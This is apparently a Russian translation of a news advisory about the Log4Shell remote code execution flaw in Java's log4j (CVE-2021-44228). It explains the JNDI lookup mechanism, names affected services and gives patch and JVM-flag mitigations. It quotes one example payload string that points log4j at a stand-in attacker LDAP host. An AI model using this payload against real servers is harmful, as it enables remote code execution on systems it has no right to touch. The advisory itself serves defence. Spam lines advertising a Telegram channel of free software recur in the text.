Критический эксплойт нулевого дня RCE, обнаруженный в популярной библиотеке журналов Java log4j, влияет на большую часть Интернета – CloudSavvy IT

Критическая уязвимость удаленного выполнения кода была обнаружена в log4j, очень популярном инструменте ведения журналов, который используется в большей части отрасли. Это чрезвычайно серьезно, затрагивает почти каждый сервер, на котором работает Java, и его очень легко использовать, поэтому вы захотите обновить и смягчить проблему как можно скорее.

Как это работает?

Ошибка, отслеживаемая CVE-2021-44228, вероятно, затрагивает практически любое приложение Java, использующее log4j, что довольно много, учитывая, насколько она распространена. Если ваше приложение когда-либо регистрирует строку, отправленную пользователем, вероятно, оно уязвимо. Что касается эксплойтов, то это один из худших в этом году, поскольку он может каким-то образом нацеливаться практически на любой сервер, на котором работает Java (хотя основной вектор атаки может быть сложнее в современных версиях JDK, подробнее об этом ниже).

Программы для Windows, мобильные приложения, игры - ВСЁ БЕСПЛАТНО, в нашем закрытом телеграмм канале - Подписывайтесь:)

По сути, эксплойт позволяет злоумышленнику отправить вашему серверу любую строку, подобную приведенной ниже, и если он записывает ее где-нибудь в вашем приложении, ваш сервер будет выполнять код, размещенный по этому адресу.

$ {jndi: ldap: //attacker.com/a}

Это работает, потому что при синтаксическом анализе этой уникально отформатированной строки log4j сделает запрос через интерфейс именования и каталогов Java, который в конечном итоге отправит запрос загрузки в произвольную конечную точку. Он загружает и десериализует файл .class небезопасным образом. Поскольку классы Java могут иметь статические инициализаторы, которые запускаются всякий раз, когда класс компилируется и на него ссылаются, это приводит к удаленному выполнению произвольного кода из простой короткой строки. Например, клиент может установить свой пользовательский агент на эту строку или иным образом включить его в запрос, и когда ваш сервер регистрирует его, он запускает эксплойт.

Это довольно ужасно – 9,8 балла по шкале CVSS. Он не достигает наихудшего результата, так как, несмотря на его ужасный вид, он не влияет на какие-либо ресурсы, выходящие за пределы целевой системы (но предоставляет доступ на уровне приложения к серверу, на котором запущено средство ведения журнала).

Это повлияет на многие приложения. Например, Minecraft был одним из первых, кто распространил новости и исправил эксплойт, поскольку можно было выполнять код как на серверах, так и на всех игроках, подключенных к серверу, через сообщения внутриигрового чата. Для исправления ошибки было выпущено исправление для игры.

Популярные сервисы, такие как Steam и iCloud, уже оказались уязвимыми, а исследовательская компания GreyNoise уже обнаружила несколько IP-адресов, выполняющих сканирование уязвимых серверов.

@GreyNoise в настоящее время видит 2 уникальных IP-адреса, сканирующих Интернет на предмет новой уязвимости Apache Log4j RCE (CVE еще не назначен).
Тег для отслеживания этой активности на https://t.co/QckU3An40q будет доступен в ближайшее время и будет связан в качестве ответа после выпуска.

– remy🐀 (@_mattata) 10 декабря 2021 г.

Вероятно, вы уже используете log4j, поскольку он включен в сотни других библиотек в качестве стандартного инструмента для ведения журнала. Однако версии JDK выше 6u211, 7u201, 8u191 и 11.0.1 не подвержены действию основного вектора атаки (с использованием LDAP), который сейчас используется. Это не означает, что вам не следует обновляться, поскольку ошибка в log4j + JNDI по-прежнему серьезна и может быть легко использована с другими векторами атаки.

Как мне это исправить?

К счастью, уже есть исправление, которое исправляет его полностью, поэтому вам следует обновить свои серверы как можно скорее. Это также влияет на клиентские приложения, которые также необходимо обновить для этого критического исправления. В конце концов, на 3 миллиардах устройств работает Java, так что пройдет некоторое время, прежде чем она будет полностью исправлена.

Эксплойт уже был исправлен в последней версии log4j, 2.15.0-rc2, поэтому вы должны обновить его, если сможете. Патч также был перенесен на более ранние версии, учитывая серьезность проблемы для пользователей, которые могут застрять на устаревших выпусках.

Если вы используете другую библиотеку, которая использует log4j, вы все равно сможете обновить вручную в большинстве случаев, но если вы не можете, вы можете использовать этот флаг JVM для смягчения проблемы, который просто сообщает log4j никогда не выполнять никаких поисков при форматировании сообщений.

-Dlog4j2.formatMsgNoLookups = true

Программы для Windows, мобильные приложения, игры - ВСЁ БЕСПЛАТНО, в нашем закрытом телеграмм канале - Подписывайтесь:)

Похожие записи

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *